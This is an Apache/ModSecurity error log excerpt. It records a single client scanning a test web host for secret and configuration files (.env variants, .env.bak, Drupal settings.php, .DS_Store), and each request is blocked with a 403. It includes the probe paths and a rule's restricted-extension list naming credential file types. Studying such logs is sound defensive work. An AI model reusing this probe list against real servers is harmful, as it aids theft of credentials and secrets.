[Mon Jan 12 12:31:55.988320 2026] [:error] [pid 1362231] [client 35.180.31.174:34992] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aWTbq8uCkgRo958sQERiGgAAAAc"]
[Mon Jan 12 12:31:55.988479 2026] [:error] [pid 1362231] [client 35.180.31.174:34992] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aWTbq8uCkgRo958sQERiGgAAAAc"]
[Mon Jan 12 12:31:56.066943 2026] [:error] [pid 1356126] [client 35.180.31.174:35024] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWTbrDv8xyMiuvwfNnlj1AAAAAU"]
[Mon Jan 12 12:31:56.067128 2026] [:error] [pid 1356126] [client 35.180.31.174:35024] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWTbrDv8xyMiuvwfNnlj1AAAAAU"]
[Mon Jan 12 12:31:56.067288 2026] [:error] [pid 1356126] [client 35.180.31.174:35024] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWTbrDv8xyMiuvwfNnlj1AAAAAU"]
[Mon Jan 12 12:31:56.146027 2026] [:error] [pid 1355923] [client 35.180.31.174:35052] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aWTbrCE1xEBhFyXickXriAAAAAA"]
[Mon Jan 12 12:31:56.146219 2026] [:error] [pid 1355923] [client 35.180.31.174:35052] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aWTbrCE1xEBhFyXickXriAAAAAA"]
[Mon Jan 12 12:31:56.146951 2026] [:error] [pid 1355923] [client 35.180.31.174:35052] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aWTbrCE1xEBhFyXickXriAAAAAA"]
[Mon Jan 12 12:31:56.874160 2026] [:error] [pid 1356126] [client 35.180.31.174:35298] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWTbrDv8xyMiuvwfNnlj1QAAAAU"]
[Mon Jan 12 12:31:56.874390 2026] [:error] [pid 1356126] [client 35.180.31.174:35298] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWTbrDv8xyMiuvwfNnlj1QAAAAU"]
[Mon Jan 12 12:31:56.874567 2026] [:error] [pid 1356126] [client 35.180.31.174:35298] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWTbrDv8xyMiuvwfNnlj1QAAAAU"]
[Mon Jan 12 12:31:56.954136 2026] [:error] [pid 1355923] [client 35.180.31.174:35320] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWTbrCE1xEBhFyXickXriQAAAAA"]
[Mon Jan 12 12:31:56.954375 2026] [:error] [pid 1355923] [client 35.180.31.174:35320] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWTbrCE1xEBhFyXickXriQAAAAA"]
[Mon Jan 12 12:31:56.954530 2026] [:error] [pid 1355923] [client 35.180.31.174:35320] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aWTbrCE1xEBhFyXickXriQAAAAA"]
[Mon Jan 12 12:31:57.033605 2026] [:error] [pid 1355926] [client 35.180.31.174:35344] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aWTbrcC2y5bYy1r2HoPzIAAAAAM"]
[Mon Jan 12 12:31:57.033779 2026] [:error] [pid 1355926] [client 35.180.31.174:35344] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aWTbrcC2y5bYy1r2HoPzIAAAAAM"]
[Mon Jan 12 12:31:57.033972 2026] [:error] [pid 1355926] [client 35.180.31.174:35344] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aWTbrcC2y5bYy1r2HoPzIAAAAAM"]
[Mon Jan 12 12:31:57.034140 2026] [:error] [pid 1355926] [client 35.180.31.174:35344] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aWTbrcC2y5bYy1r2HoPzIAAAAAM"]
[Mon Jan 12 12:31:57.114719 2026] [:error] [pid 1362233] [client 35.180.31.174:35362] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aWTbrX2DuVtAKraH1YONfQAAAAk"]
[Mon Jan 12 12:31:57.114887 2026] [:error] [pid 1362233] [client 35.180.31.174:35362] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aWTbrX2DuVtAKraH1YONfQAAAAk"]
[Mon Jan 12 12:31:57.115091 2026] [:error] [pid 1362233] [client 35.180.31.174:35362] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aWTbrX2DuVtAKraH1YONfQAAAAk"]
[Mon Jan 12 12:31:57.115290 2026] [:error] [pid 1362233] [client 35.180.31.174:35362] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aWTbrX2DuVtAKraH1YONfQAAAAk"]
[Mon Jan 12 12:31:57.278823 2026] [authz_core:error] [pid 1355925] [client 35.180.31.174:35410] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Mon Jan 12 12:31:57.529682 2026] [:error] [pid 1358564] [client 35.180.31.174:35492] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.local"] [unique_id "aWTbrR_UgGRJ4jDk47tQcQAAAAY"]
[Mon Jan 12 12:31:57.529905 2026] [:error] [pid 1358564] [client 35.180.31.174:35492] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.local"] [unique_id "aWTbrR_UgGRJ4jDk47tQcQAAAAY"]
[Mon Jan 12 12:31:57.530066 2026] [:error] [pid 1358564] [client 35.180.31.174:35492] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod.local"] [unique_id "aWTbrR_UgGRJ4jDk47tQcQAAAAY"]
[Mon Jan 12 12:31:57.611838 2026] [:error] [pid 1362231] [client 35.180.31.174:35518] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/sites/default/settings.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php"] [unique_id "aWTbrcuCkgRo958sQERiHAAAAAc"]
[Mon Jan 12 12:31:57.612039 2026] [:error] [pid 1362231] [client 35.180.31.174:35518] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php"] [unique_id "aWTbrcuCkgRo958sQERiHAAAAAc"]
[Mon Jan 12 12:31:57.612202 2026] [:error] [pid 1362231] [client 35.180.31.174:35518] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php"] [unique_id "aWTbrcuCkgRo958sQERiHAAAAAc"]
[Mon Jan 12 12:31:57.691641 2026] [:error] [pid 1356126] [client 35.180.31.174:35544] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWTbrTv8xyMiuvwfNnlj1gAAAAU"]
[Mon Jan 12 12:31:57.691848 2026] [:error] [pid 1356126] [client 35.180.31.174:35544] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWTbrTv8xyMiuvwfNnlj1gAAAAU"]
[Mon Jan 12 12:31:57.691998 2026] [:error] [pid 1356126] [client 35.180.31.174:35544] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWTbrTv8xyMiuvwfNnlj1gAAAAU"]
[Mon Jan 12 12:31:57.851665 2026] [:error] [pid 1355926] [client 35.180.31.174:35590] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWTbrcC2y5bYy1r2HoPzIQAAAAM"]
[Mon Jan 12 12:31:57.851910 2026] [:error] [pid 1355926] [client 35.180.31.174:35590] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWTbrcC2y5bYy1r2HoPzIQAAAAM"]
[Mon Jan 12 12:31:57.852219 2026] [:error] [pid 1355926] [client 35.180.31.174:35590] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWTbrcC2y5bYy1r2HoPzIQAAAAM"]
[Mon Jan 12 12:31:57.852484 2026] [:error] [pid 1355926] [client 35.180.31.174:35590] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWTbrcC2y5bYy1r2HoPzIQAAAAM"]
[Mon Jan 12 12:31:57.930692 2026] [:error] [pid 1362233] [client 35.180.31.174:35610] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.1"] [unique_id "aWTbrX2DuVtAKraH1YONfgAAAAk"]
[Mon Jan 12 12:31:57.930976 2026] [:error] [pid 1362233] [client 35.180.31.174:35610] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.1"] [unique_id "aWTbrX2DuVtAKraH1YONfgAAAAk"]
